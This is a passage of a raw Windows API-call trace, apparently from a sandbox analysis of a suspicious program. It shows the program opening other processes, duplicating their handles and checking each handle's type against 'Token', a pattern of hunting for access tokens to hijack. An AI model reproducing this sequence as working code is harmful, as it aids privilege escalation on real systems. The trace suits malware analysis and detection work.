0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.743] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.744] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.745] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.746] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.747] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.748] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.749] GetCurrentProcess () returned 0xffffffffffffffff [0196.749] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.749] CloseHandle (hObject=0x168) returned 1 [0196.750] GetCurrentProcess () returned 0xffffffffffffffff [0196.750] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.750] CloseHandle (hObject=0x168) returned 1 [0196.750] GetCurrentProcess () returned 0xffffffffffffffff [0196.750] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.750] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.750] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.750] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.750] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.750] LocalFree (hMem=0x160a40) returned 0x0 [0196.750] CloseHandle (hObject=0x16c) returned 1 [0196.751] CloseHandle (hObject=0x168) returned 1 [0196.751] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.751] GetCurrentProcess () returned 0xffffffffffffffff [0196.751] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x10, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.751] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.751] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.751] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.751] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.751] LocalFree (hMem=0x160a40) returned 0x0 [0196.751] CloseHandle (hObject=0x16c) returned 1 [0196.752] CloseHandle (hObject=0x168) returned 1 [0196.752] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.752] GetCurrentProcess () returned 0xffffffffffffffff [0196.752] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x14, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.752] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.752] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.752] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.752] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.752] LocalFree (hMem=0x160a40) returned 0x0 [0196.752] CloseHandle (hObject=0x16c) returned 1 [0196.752] CloseHandle (hObject=0x168) returned 1 [0196.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.753] GetCurrentProcess () returned 0xffffffffffffffff [0196.753] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.753] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.753] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.753] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.753] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.753] LocalFree (hMem=0x160a40) returned 0x0 [0196.753] CloseHandle (hObject=0x16c) returned 1 [0196.753] CloseHandle (hObject=0x168) returned 1 [0196.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.753] GetCurrentProcess () returned 0xffffffffffffffff [0196.753] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.753] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.753] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.753] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.753] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.753] LocalFree (hMem=0x160a40) returned 0x0 [0196.753] CloseHandle (hObject=0x16c) returned 1 [0196.754] CloseHandle (hObject=0x168) returned 1 [0196.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.754] GetCurrentProcess () returned 0xffffffffffffffff [0196.754] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.754] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.754] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.754] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.754] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.754] LocalFree (hMem=0x160a40) returned 0x0 [0196.754] CloseHandle (hObject=0x16c) returned 1 [0196.754] CloseHandle (hObject=0x168) returned 1 [0196.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.754] GetCurrentProcess () returned 0xffffffffffffffff [0196.754] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x24, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.754] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.754] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.755] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.755] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.755] LocalFree (hMem=0x160a40) returned 0x0 [0196.755] CloseHandle (hObject=0x16c) returned 1 [0196.755] CloseHandle (hObject=0x168) returned 1 [0196.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.755] GetCurrentProcess () returned 0xffffffffffffffff [0196.755] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x28, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.755] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.755] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.755] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.755] RtlEqualUnicodeString (String1="File", String2="Token", CaseInsensitive=1) returned 0 [0196.755] LocalFree (hMem=0x160a40) returned 0x0 [0196.755] CloseHandle (hObject=0x16c) returned 1 [0196.755] CloseHandle (hObject=0x168) returned 1 [0196.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.756] GetCurrentProcess () returned 0xffffffffffffffff [0196.756] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.756] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.756] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x181a40 [0196.756] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x88, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.756] RtlEqualUnicodeString (String1="IoCompletion", String2="Token", CaseInsensitive=1) returned 0 [0196.756] LocalFree (hMem=0x181a40) returned 0x0 [0196.756] CloseHandle (hObject=0x16c) returned 1 [0196.756] CloseHandle (hObject=0x168) returned 1 [0196.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.756] GetCurrentProcess () returned 0xffffffffffffffff [0196.756] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x30, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.756] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.756] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x181a40 [0196.756] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x88, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.756] RtlEqualUnicodeString (String1="TpWorkerFactory", String2="Token", CaseInsensitive=1) returned 0 [0196.756] LocalFree (hMem=0x181a40) returned 0x0 [0196.756] CloseHandle (hObject=0x16c) returned 1 [0196.756] CloseHandle (hObject=0x168) returned 1 [0196.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.756] GetCurrentProcess () returned 0xffffffffffffffff [0196.757] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.757] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.757] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.757] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.757] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.757] LocalFree (hMem=0x181a40) returned 0x0 [0196.757] CloseHandle (hObject=0x16c) returned 1 [0196.757] CloseHandle (hObject=0x168) returned 1 [0196.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.757] GetCurrentProcess () returned 0xffffffffffffffff [0196.757] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.757] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.757] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.757] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.757] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.757] LocalFree (hMem=0x160a40) returned 0x0 [0196.757] CloseHandle (hObject=0x16c) returned 1 [0196.757] CloseHandle (hObject=0x168) returned 1 [0196.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.757] GetCurrentProcess () returned 0xffffffffffffffff [0196.757] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.757] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.758] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.758] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.758] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.758] LocalFree (hMem=0x160a40) returned 0x0 [0196.758] CloseHandle (hObject=0x16c) returned 1 [0196.758] CloseHandle (hObject=0x168) returned 1 [0196.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.758] GetCurrentProcess () returned 0xffffffffffffffff [0196.758] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x40, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.758] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.758] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.758] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.758] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.758] LocalFree (hMem=0x181a40) returned 0x0 [0196.758] CloseHandle (hObject=0x16c) returned 1 [0196.758] CloseHandle (hObject=0x168) returned 1 [0196.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.758] GetCurrentProcess () returned 0xffffffffffffffff [0196.758] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x44, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, 